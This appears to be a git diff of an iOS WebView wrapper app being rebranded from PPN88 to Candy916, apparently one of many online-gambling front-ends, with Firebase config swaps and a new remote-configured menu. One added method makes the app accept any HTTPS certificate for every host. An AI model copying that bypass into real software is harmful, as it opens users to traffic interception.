update
@@ -14,6 +14,7 @@
|
||||
@property (nonatomic, strong) UIWindow *window;
|
||||
|
||||
@property (nonatomic, strong) ConfigData *data;
|
||||
@property (nonatomic, strong) NSString *mainURLString;
|
||||
|
||||
@property (nonatomic, assign) BOOL isRefresh;
|
||||
@property (nonatomic, assign) BOOL forceUpdate;
|
||||
|
||||
@@ -62,7 +62,7 @@
|
||||
request.HTTPMethod = @"PUT";
|
||||
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
|
||||
|
||||
NSDictionary *parmas = @{@"userId":[NSNumber numberWithInteger:[PPN88UserID integerValue]]};
|
||||
NSDictionary *parmas = @{@"userId":[NSNumber numberWithInteger:[Candy916UserID integerValue]]};
|
||||
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil];
|
||||
request.HTTPBody = jsonData;
|
||||
|
||||
@@ -475,4 +475,9 @@
|
||||
[tap.view removeFromSuperview];
|
||||
}
|
||||
|
||||
+ (BOOL)allowsAnyHTTPSCertificateForHost:(NSString *)host
|
||||
{
|
||||
return YES;
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "PPN88.png",
|
||||
"filename" : "candy916.png",
|
||||
"idiom" : "universal",
|
||||
"platform" : "ios",
|
||||
"size" : "1024x1024"
|
||||
|
||||
|
Before Width: | Height: | Size: 382 KiB |
BIN
ShenQi/Assets.xcassets/AppIcon.appiconset/candy916.png
Normal file
|
After Width: | Height: | Size: 1.6 MiB |
BIN
ShenQi/Assets.xcassets/PPN88.imageset/PPN88.png
vendored
|
Before Width: | Height: | Size: 382 KiB |
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "PPN88.png",
|
||||
"filename" : "refresh.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "1x"
|
||||
},
|
||||
BIN
ShenQi/Assets.xcassets/refresh.imageset/refresh.png
vendored
Normal file
|
After Width: | Height: | Size: 10 KiB |
@@ -1,21 +0,0 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "winway.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
BIN
ShenQi/Assets.xcassets/winway.imageset/winway.png
vendored
|
Before Width: | Height: | Size: 406 KiB |
@@ -1,21 +0,0 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "winwaymenu.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
|
Before Width: | Height: | Size: 43 KiB |
@@ -1,21 +0,0 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "xialasanjiao.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
|
Before Width: | Height: | Size: 893 B |
@@ -16,7 +16,7 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="393" height="852"/>
|
||||
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
|
||||
<subviews>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="PPN88" translatesAutoresizingMaskIntoConstraints="NO" id="wWz-RR-gyr">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="candy916" translatesAutoresizingMaskIntoConstraints="NO" id="wWz-RR-gyr">
|
||||
<rect key="frame" x="96.666666666666686" y="298.66666666666669" width="200" height="200"/>
|
||||
<color key="backgroundColor" red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<constraints>
|
||||
@@ -26,7 +26,7 @@
|
||||
</imageView>
|
||||
</subviews>
|
||||
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
|
||||
<color key="backgroundColor" red="0.98781532049999998" green="1" blue="0.99589437250000001" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<constraints>
|
||||
<constraint firstItem="wWz-RR-gyr" firstAttribute="centerY" secondItem="6Tk-OE-BBY" secondAttribute="centerY" constant="-40" id="CqV-4e-F3I"/>
|
||||
<constraint firstItem="wWz-RR-gyr" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="FHK-Fd-BPL"/>
|
||||
@@ -39,6 +39,6 @@
|
||||
</scene>
|
||||
</scenes>
|
||||
<resources>
|
||||
<image name="PPN88" width="1024" height="1024"/>
|
||||
<image name="candy916" width="1024" height="1024"/>
|
||||
</resources>
|
||||
</document>
|
||||
|
||||
@@ -55,19 +55,8 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="393" height="852"/>
|
||||
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
|
||||
<subviews>
|
||||
<button hidden="YES" opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="aS0-9b-Vdi">
|
||||
<rect key="frame" x="150.66666666666666" y="399" width="92" height="54.333333333333314"/>
|
||||
<state key="normal" title="Button"/>
|
||||
<buttonConfiguration key="configuration" style="tinted" image="shuaxin" imagePlacement="top" title="进入App"/>
|
||||
<connections>
|
||||
<action selector="intoGameAction:" destination="IMS-fv-0OO" eventType="touchUpInside" id="eFh-NV-HoP"/>
|
||||
</connections>
|
||||
</button>
|
||||
<activityIndicatorView opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" hidesWhenStopped="YES" animating="YES" style="medium" translatesAutoresizingMaskIntoConstraints="NO" id="kot-ab-erv">
|
||||
<rect key="frame" x="186.66666666666666" y="416" width="20" height="20"/>
|
||||
</activityIndicatorView>
|
||||
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="jWy-uW-8Li" customClass="DSWebDragView">
|
||||
<rect key="frame" x="0.0" y="271.66666666666669" width="60" height="60"/>
|
||||
<rect key="frame" x="0.0" y="408.66666666666669" width="60" height="60"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="60" id="XG1-uZ-BDG"/>
|
||||
<constraint firstAttribute="width" secondItem="jWy-uW-8Li" secondAttribute="height" multiplier="1:1" id="yzH-EX-jDa"/>
|
||||
@@ -92,19 +81,13 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<constraints>
|
||||
<constraint firstItem="rsS-Qz-Fg1" firstAttribute="leading" secondItem="fdh-Xv-lcd" secondAttribute="leading" id="1K4-aF-xwO"/>
|
||||
<constraint firstItem="aS0-9b-Vdi" firstAttribute="centerX" secondItem="Ys6-Sp-lCM" secondAttribute="centerX" id="3Ao-jF-5Bi"/>
|
||||
<constraint firstItem="jWy-uW-8Li" firstAttribute="leading" secondItem="fdh-Xv-lcd" secondAttribute="leading" id="7jf-ye-5u6"/>
|
||||
<constraint firstItem="jWy-uW-8Li" firstAttribute="top" secondItem="rsS-Qz-Fg1" secondAttribute="top" id="F8B-Ta-ciW"/>
|
||||
<constraint firstItem="kot-ab-erv" firstAttribute="centerX" secondItem="Ys6-Sp-lCM" secondAttribute="centerX" id="LLF-YW-byF"/>
|
||||
<constraint firstItem="kot-ab-erv" firstAttribute="centerY" secondItem="Ys6-Sp-lCM" secondAttribute="centerY" id="UA8-zb-doC"/>
|
||||
<constraint firstItem="aS0-9b-Vdi" firstAttribute="centerY" secondItem="Ys6-Sp-lCM" secondAttribute="centerY" id="liw-9n-E6B"/>
|
||||
<constraint firstItem="jWy-uW-8Li" firstAttribute="centerY" secondItem="fdh-Xv-lcd" secondAttribute="centerY" id="DF4-2k-YMl"/>
|
||||
<constraint firstItem="rsS-Qz-Fg1" firstAttribute="centerY" secondItem="fdh-Xv-lcd" secondAttribute="centerY" id="uWh-Hp-osv"/>
|
||||
</constraints>
|
||||
</view>
|
||||
<connections>
|
||||
<outlet property="activityIndicatorView" destination="kot-ab-erv" id="gVC-7r-fWS"/>
|
||||
<outlet property="dragHeightConstarint" destination="seP-m5-Lwg" id="BoP-gD-lsf"/>
|
||||
<outlet property="goIntoBtn" destination="aS0-9b-Vdi" id="Hkf-ju-EdR"/>
|
||||
<outlet property="webDragView" destination="jWy-uW-8Li" id="rgh-nZ-KOF"/>
|
||||
<outlet property="webMenuCollectionView" destination="rsS-Qz-Fg1" id="hfI-CF-2EW"/>
|
||||
</connections>
|
||||
|
||||
@@ -3,17 +3,17 @@
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>API_KEY</key>
|
||||
<string>AIzaSyATIvwH62L_K49UnQcJu4ERb1oqKlvGN-0</string>
|
||||
<string>AIzaSyBvk4Z-g3A9EFyDLcnEroMb_KRuY75_R0U</string>
|
||||
<key>GCM_SENDER_ID</key>
|
||||
<string>490341212727</string>
|
||||
<string>781378266710</string>
|
||||
<key>PLIST_VERSION</key>
|
||||
<string>1</string>
|
||||
<key>BUNDLE_ID</key>
|
||||
<string>noti.ppn88</string>
|
||||
<string>noti.candy916</string>
|
||||
<key>PROJECT_ID</key>
|
||||
<string>ppn88-595cd</string>
|
||||
<string>candy916-c855f</string>
|
||||
<key>STORAGE_BUCKET</key>
|
||||
<string>ppn88-595cd.firebasestorage.app</string>
|
||||
<string>candy916-c855f.firebasestorage.app</string>
|
||||
<key>IS_ADS_ENABLED</key>
|
||||
<false></false>
|
||||
<key>IS_ANALYTICS_ENABLED</key>
|
||||
@@ -25,6 +25,6 @@
|
||||
<key>IS_SIGNIN_ENABLED</key>
|
||||
<true></true>
|
||||
<key>GOOGLE_APP_ID</key>
|
||||
<string>1:490341212727:ios:7dc81d9987cfa241cbd5b2</string>
|
||||
<string>1:781378266710:ios:1dfe279a0d158766f37df7</string>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -29,7 +29,7 @@
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
|
||||
self.mainUserId = PPN88UserID;
|
||||
self.mainUserId = Candy916UserID;
|
||||
|
||||
[self setupGameURLData];
|
||||
}
|
||||
@@ -40,6 +40,7 @@
|
||||
MainOldViewController *webViewController = [sb instantiateViewControllerWithIdentifier:@"MainOldViewController"];
|
||||
webViewController.mainURLString = self.mainURLString;
|
||||
AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
|
||||
appDelegate.mainURLString = self.mainURLString;
|
||||
appDelegate.window.rootViewController = webViewController;
|
||||
}
|
||||
|
||||
|
||||
@@ -15,9 +15,9 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="393" height="852"/>
|
||||
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
|
||||
<subviews>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="PPN88" translatesAutoresizingMaskIntoConstraints="NO" id="QOC-Bf-3uG">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="candy916" translatesAutoresizingMaskIntoConstraints="NO" id="QOC-Bf-3uG">
|
||||
<rect key="frame" x="96.666666666666686" y="298.66666666666669" width="200" height="200"/>
|
||||
<color key="backgroundColor" red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" secondItem="QOC-Bf-3uG" secondAttribute="height" multiplier="1:1" id="0UD-2r-nCA"/>
|
||||
<constraint firstAttribute="width" constant="200" id="lvc-UM-fk2"/>
|
||||
@@ -25,7 +25,7 @@
|
||||
</imageView>
|
||||
</subviews>
|
||||
<viewLayoutGuide key="safeArea" id="2Pa-gD-wwk"/>
|
||||
<color key="backgroundColor" red="0.98781532049999998" green="1" blue="0.99589437250000001" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<constraints>
|
||||
<constraint firstItem="QOC-Bf-3uG" firstAttribute="centerY" secondItem="2Pa-gD-wwk" secondAttribute="centerY" constant="-40" id="B0z-KI-StH"/>
|
||||
<constraint firstItem="QOC-Bf-3uG" firstAttribute="centerX" secondItem="2Pa-gD-wwk" secondAttribute="centerX" id="lff-ob-mX3"/>
|
||||
@@ -35,6 +35,6 @@
|
||||
</viewController>
|
||||
</objects>
|
||||
<resources>
|
||||
<image name="PPN88" width="1024" height="1024"/>
|
||||
<image name="candy916" width="1024" height="1024"/>
|
||||
</resources>
|
||||
</document>
|
||||
|
||||
@@ -55,8 +55,34 @@
|
||||
#define RichpapaUserID @"81"
|
||||
#define Pms99UserID @"82"
|
||||
#define Nos138UserID @"83"
|
||||
|
||||
#define Candy916UserID @"84"
|
||||
#define Petro777UserID @"85"
|
||||
#define Tinju55UserID @"85"
|
||||
#define KELABUserID @"86"
|
||||
#define BBJUserID @"87"
|
||||
#define AGN888UserID @"37"
|
||||
#define CashSweepUserID @"88"
|
||||
#define GDSlot888UserID @"89"
|
||||
#define JackpotAUUserID @"90"
|
||||
#define JESlot88UserID @"91"
|
||||
#define JUDY88UserID @"92"
|
||||
#define KejapjudiUserID @"93"
|
||||
#define Magnum888UserID @"94"
|
||||
#define MAHKOTA8UserID @"95"
|
||||
#define MKO888UserID @"96"
|
||||
#define Petron777UserID @"97"
|
||||
#define PETRONAS777UserID @"98"
|
||||
#define SHELL777UserID @"99"
|
||||
#define Telur33UserID @"100"
|
||||
#define Toto88UserID @"101"
|
||||
#define TTSlot888UserID @"102"
|
||||
|
||||
#define LEGAPGUserID @"103"
|
||||
#define LGH828UserID @"104"
|
||||
#define POP99AUserID @"105"
|
||||
|
||||
#define Royal55UserID @"106"
|
||||
#define MR88UserID @"107"
|
||||
|
||||
// 旧
|
||||
#define WinwayUserID @"4"
|
||||
@@ -82,7 +108,6 @@
|
||||
#define BigWinner8UserID @"34"
|
||||
#define HariSpinUserID @"35"
|
||||
#define AudplayUserID @"36"
|
||||
#define Agn888UserID @"37"
|
||||
#define MillionKing96UserID @"38"
|
||||
#define Judi2UUserID @"39"
|
||||
#define Fachai8hkUserID @"41"
|
||||
|
||||
@@ -19,18 +19,17 @@
|
||||
|
||||
#import "ConfigData.h"
|
||||
#import "ConfigDataModel.h"
|
||||
#import "LinkConfig.h"
|
||||
|
||||
@interface MainOldViewController () <WKUIDelegate,WKNavigationDelegate,DSWebMenuDelegate>
|
||||
|
||||
@property (strong, nonatomic) WKWebView *webView;
|
||||
@property (nonatomic,strong) WKUserContentController *wkUController;
|
||||
@property (weak, nonatomic) IBOutlet UIActivityIndicatorView *activityIndicatorView;
|
||||
|
||||
@property (weak, nonatomic) IBOutlet DSWebDragView *webDragView;
|
||||
@property (weak, nonatomic) IBOutlet NSLayoutConstraint *dragHeightConstarint;
|
||||
@property (weak, nonatomic) IBOutlet DSWebMenuCollectionView *webMenuCollectionView;
|
||||
|
||||
@property (weak, nonatomic) IBOutlet UIButton *goIntoBtn;
|
||||
|
||||
@end
|
||||
|
||||
@implementation MainOldViewController
|
||||
@@ -46,8 +45,8 @@
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
|
||||
self.mainUserId = PPN88UserID;
|
||||
|
||||
self.mainUserId = Candy916UserID;
|
||||
|
||||
WKWebViewConfiguration *wkWebConfig = [[WKWebViewConfiguration alloc] init];
|
||||
wkWebConfig.preferences.javaScriptCanOpenWindowsAutomatically = YES;
|
||||
|
||||
@@ -63,8 +62,31 @@
|
||||
|
||||
NSMutableArray *menuArray = @[].mutableCopy;
|
||||
AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
|
||||
// 回到菜单按钮
|
||||
NSInteger height = 60;
|
||||
[menuArray addObject:[NSNumber numberWithInteger:DSWebMenuHomeType]];
|
||||
// 回到主页
|
||||
height = height + 60;
|
||||
LinkConfig *config = [[LinkConfig alloc] init];
|
||||
config.isGoBack = YES;
|
||||
config.icon = @"";
|
||||
config.name = @"HOME";
|
||||
config.linkUrl = appDelegate.mainURLString;
|
||||
[menuArray addObject:config];
|
||||
// 菜单
|
||||
if (!ISNULLSTR(appDelegate.data.linkConfig)) {
|
||||
NSError *jsonError;
|
||||
id linkConfigResponse = [NSJSONSerialization JSONObjectWithData:[appDelegate.data.linkConfig dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingMutableContainers error:&jsonError];
|
||||
if (jsonError==nil && [linkConfigResponse isKindOfClass:[NSArray class]]) {
|
||||
NSArray *linkConfigArray = linkConfigResponse;
|
||||
height = height + linkConfigArray.count*60;
|
||||
for (NSDictionary *dic in linkConfigArray) {
|
||||
LinkConfig *linkModel = [LinkConfig modelWithDictionary:dic];
|
||||
[menuArray addObject:linkModel];
|
||||
}
|
||||
}
|
||||
}
|
||||
// 客服平台
|
||||
if (!ISNULLSTR(appDelegate.data.fbUrl)) {
|
||||
height = height + 60;
|
||||
[menuArray addObject:[NSNumber numberWithInteger:DSWebMenuFacebookType]];
|
||||
@@ -77,9 +99,15 @@
|
||||
height = height + 60;
|
||||
[menuArray addObject:[NSNumber numberWithInteger:DSWebMenuWhatsAppType]];
|
||||
}
|
||||
// 刷新按钮
|
||||
height = height + 60;
|
||||
[menuArray addObject:[NSNumber numberWithInteger:DSWebMenuRefreshType]];
|
||||
self.webMenuCollectionView.shareArray = menuArray;
|
||||
self.webMenuCollectionView.webMenuDelegate = self;
|
||||
|
||||
if (height > self.view.frame.size.height) {
|
||||
height = self.view.frame.size.height;
|
||||
}
|
||||
self.dragHeightConstarint.constant = height;
|
||||
self.webDragView.freeRect = CGRectMake(0, 128, self.view.frame.size.width, self.view.frame.size.height-128);
|
||||
self.webDragView.isKeepBounds = YES;
|
||||
@@ -127,7 +155,7 @@
|
||||
}else{
|
||||
[self intoMainWebView];
|
||||
|
||||
[self setupAddContactData];
|
||||
// [self setupAddContactData];
|
||||
|
||||
// 判断是否第一次安装
|
||||
NSUserDefaults *userfault = [NSUserDefaults standardUserDefaults];
|
||||
@@ -137,32 +165,48 @@
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
[self.view bringSubviewToFront:self.webDragView];
|
||||
[self.view bringSubviewToFront:self.webMenuCollectionView];
|
||||
}
|
||||
|
||||
-(void)webMenuCollectionViewWithMenuType:(DSWebMenuType)webMenuType
|
||||
-(void)webMenuCollectionViewWithMenuType:(id)webMenuType
|
||||
{
|
||||
AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
|
||||
if (webMenuType == DSWebMenuHomeType) {
|
||||
if (self.isPresent == YES) {
|
||||
[self dismissViewControllerAnimated:YES completion:^{}];
|
||||
if ([webMenuType isKindOfClass:[LinkConfig class]]) {
|
||||
LinkConfig *link = webMenuType;
|
||||
if (link.isGoBack == YES) {
|
||||
if (self.isPresent == YES) {
|
||||
[self dismissViewControllerAnimated:YES completion:^{}];
|
||||
}else{
|
||||
self.mainURLString = link.linkUrl;
|
||||
self.isPresent = NO;
|
||||
[self intoMainWebView];
|
||||
}
|
||||
}else{
|
||||
self.mainURLString = link.linkUrl;
|
||||
self.isPresent = NO;
|
||||
[self intoMainWebView];
|
||||
}
|
||||
}else if (webMenuType == DSWebMenuWhatsAppType) {
|
||||
if (!ISNULLSTR(appDelegate.data.wsUrl)) {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"https://wa.me/message/%@",appDelegate.data.wsUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
|
||||
}
|
||||
}else if (webMenuType == DSWebMenuTelegramType) {
|
||||
if (!ISNULLSTR(appDelegate.data.tgUrl)) {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"https://t.me/%@",appDelegate.data.tgUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
|
||||
}
|
||||
}else if (webMenuType == DSWebMenuFacebookType) {
|
||||
if (!ISNULLSTR(appDelegate.data.fbUrl)) {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"fb://profile/%@",appDelegate.data.fbUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
|
||||
}else if ([webMenuType isKindOfClass:[NSNumber class]]) {
|
||||
NSNumber *number = webMenuType;
|
||||
DSWebMenuType menuType = number.integerValue;
|
||||
AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
|
||||
if (menuType == DSWebMenuHomeType) {
|
||||
|
||||
}else if (menuType == DSWebMenuRefreshType) {
|
||||
self.isPresent = NO;
|
||||
[self intoMainWebView];
|
||||
}else if (menuType == DSWebMenuWhatsAppType) {
|
||||
if (!ISNULLSTR(appDelegate.data.wsUrl)) {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"%@",appDelegate.data.wsUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
|
||||
}
|
||||
}else if (menuType == DSWebMenuTelegramType) {
|
||||
if (!ISNULLSTR(appDelegate.data.tgUrl)) {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"%@",appDelegate.data.tgUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
|
||||
}
|
||||
}else if (menuType == DSWebMenuFacebookType) {
|
||||
if (!ISNULLSTR(appDelegate.data.fbUrl)) {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"%@",appDelegate.data.fbUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
|
||||
}
|
||||
}
|
||||
}
|
||||
self.webDragView.hidden = NO;
|
||||
@@ -191,7 +235,9 @@
|
||||
- (WKWebView *)webView:(WKWebView *)webView createWebViewWithConfiguration:(WKWebViewConfiguration *)configuration forNavigationAction:(WKNavigationAction *)navigationAction windowFeatures:(WKWindowFeatures *)windowFeatures
|
||||
{
|
||||
if (navigationAction.request.URL) {
|
||||
MainOldViewController *view = [[MainOldViewController alloc] init];
|
||||
UIStoryboard *sb = [UIStoryboard storyboardWithName:@"Main" bundle:nil];
|
||||
MainOldViewController *view = [sb instantiateViewControllerWithIdentifier:@"MainOldViewController"];
|
||||
// MainOldViewController *view = [[MainOldViewController alloc] init];
|
||||
view.gameURLString = navigationAction.request.URL.absoluteString;
|
||||
view.isPresent = YES;
|
||||
view.modalPresentationStyle = UIModalPresentationFullScreen;
|
||||
|
||||
@@ -10,7 +10,9 @@
|
||||
|
||||
- (void)awakeFromNib {
|
||||
[super awakeFromNib];
|
||||
// Initialization code
|
||||
|
||||
// self.avatarImageView.layer.cornerRadius = 25.f;
|
||||
// self.avatarImageView.layer.masksToBounds = YES;
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
@@ -6,10 +6,14 @@
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
#import "LinkConfig.h"
|
||||
#import "MacroDefine.h"
|
||||
|
||||
NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
typedef NS_ENUM(NSInteger, DSWebMenuType) {
|
||||
DSWebMenuHomeType, // 主页
|
||||
DSWebMenuHomeType, // 回到菜单
|
||||
DSWebMenuRefreshType, // 刷新
|
||||
DSWebMenuTelegramType, // Telegram
|
||||
DSWebMenuWhatsAppType, // WhatsApp
|
||||
DSWebMenuFacebookType, // Facebook
|
||||
@@ -17,7 +21,7 @@ typedef NS_ENUM(NSInteger, DSWebMenuType) {
|
||||
|
||||
@protocol DSWebMenuDelegate <NSObject>
|
||||
|
||||
-(void)webMenuCollectionViewWithMenuType:(DSWebMenuType)webMenuType;
|
||||
-(void)webMenuCollectionViewWithMenuType:(id)webMenuType;
|
||||
|
||||
@end
|
||||
|
||||
|
||||
@@ -75,16 +75,38 @@ static NSString *identifier = @"AvatarCollectionViewCell";
|
||||
-(UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath
|
||||
{
|
||||
DSAvatarCollectionViewCell *cell = [collectionView dequeueReusableCellWithReuseIdentifier:identifier forIndexPath:indexPath];
|
||||
NSNumber *number = self.shareArray[indexPath.row];
|
||||
DSWebMenuType type = number.integerValue;
|
||||
if (type == DSWebMenuHomeType) {
|
||||
cell.avatarImageView.image = [UIImage imageNamed:@"zhongxindakai"];
|
||||
}else if (type == DSWebMenuTelegramType) {
|
||||
cell.avatarImageView.image = [UIImage imageNamed:@"telegram"];
|
||||
}else if (type == DSWebMenuWhatsAppType) {
|
||||
cell.avatarImageView.image = [UIImage imageNamed:@"whatsapp"];
|
||||
}else if (type == DSWebMenuFacebookType) {
|
||||
cell.avatarImageView.image = [UIImage imageNamed:@"facebook"];
|
||||
id value = self.shareArray[indexPath.row];
|
||||
if ([value isKindOfClass:[LinkConfig class]]) {
|
||||
LinkConfig *link = value;
|
||||
if (ISNULLSTR(link.icon)) {
|
||||
cell.avatarImageView.image = [self circularImageWithText:link.name];
|
||||
}else{
|
||||
NSURLSessionDataTask *dataTask = [[NSURLSession sharedSession] dataTaskWithURL:[NSURL URLWithString:link.icon] completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) {
|
||||
if (error) {
|
||||
NSLog(@"Error downloading image: %@", error);
|
||||
} else {
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
UIImage *image = [UIImage imageWithData:data];
|
||||
cell.avatarImageView.image = image;
|
||||
});
|
||||
}
|
||||
}];
|
||||
[dataTask resume];
|
||||
}
|
||||
}else if ([value isKindOfClass:[NSNumber class]]) {
|
||||
NSNumber *number = value;
|
||||
DSWebMenuType type = number.integerValue;
|
||||
if (type == DSWebMenuHomeType) {
|
||||
cell.avatarImageView.image = [UIImage imageNamed:@"menu"];
|
||||
}else if (type == DSWebMenuRefreshType) {
|
||||
cell.avatarImageView.image = [UIImage imageNamed:@"refresh"];
|
||||
}else if (type == DSWebMenuTelegramType) {
|
||||
cell.avatarImageView.image = [UIImage imageNamed:@"telegram"];
|
||||
}else if (type == DSWebMenuWhatsAppType) {
|
||||
cell.avatarImageView.image = [UIImage imageNamed:@"whatsapp"];
|
||||
}else if (type == DSWebMenuFacebookType) {
|
||||
cell.avatarImageView.image = [UIImage imageNamed:@"facebook"];
|
||||
}
|
||||
}
|
||||
cell.avatarImageView.contentMode = UIViewContentModeScaleAspectFit;
|
||||
return cell;
|
||||
@@ -92,11 +114,48 @@ static NSString *identifier = @"AvatarCollectionViewCell";
|
||||
|
||||
-(void)collectionView:(UICollectionView *)collectionView didSelectItemAtIndexPath:(NSIndexPath *)indexPath
|
||||
{
|
||||
NSNumber *number = self.shareArray[indexPath.row];
|
||||
DSWebMenuType type = number.integerValue;
|
||||
id value = self.shareArray[indexPath.row];
|
||||
if (self.webMenuDelegate && [self.webMenuDelegate respondsToSelector:@selector(webMenuCollectionViewWithMenuType:)]) {
|
||||
[self.webMenuDelegate webMenuCollectionViewWithMenuType:type];
|
||||
[self.webMenuDelegate webMenuCollectionViewWithMenuType:value];
|
||||
}
|
||||
}
|
||||
|
||||
- (UIImage *)circularImageWithText:(NSString *)text {
|
||||
// 设置字体和大小
|
||||
UIFont *font = [UIFont systemFontOfSize:16.0f];
|
||||
CGSize textSize = [text sizeWithFont:font];
|
||||
|
||||
// 创建图形上下文
|
||||
CGFloat size = 60.0f;
|
||||
UIGraphicsBeginImageContextWithOptions(CGSizeMake(size, size), NO, 0.0);
|
||||
CGContextRef context = UIGraphicsGetCurrentContext();
|
||||
|
||||
// 绘制圆形路径
|
||||
CGRect rect = CGRectMake(0, 0, size, size);
|
||||
CGContextAddEllipseInRect(context, rect);
|
||||
CGContextClip(context);
|
||||
|
||||
// 设置背景颜色(可选)
|
||||
CGContextSetRGBFillColor(context, 1.0, 1.0, 1.0, 1.0); // 白色背景
|
||||
CGContextFillRect(context, rect);
|
||||
|
||||
// 设置文本颜色
|
||||
[[UIColor redColor] set];
|
||||
|
||||
// 计算文本绘制位置,使其居中
|
||||
CGFloat x = (size - textSize.width) / 2.0f;
|
||||
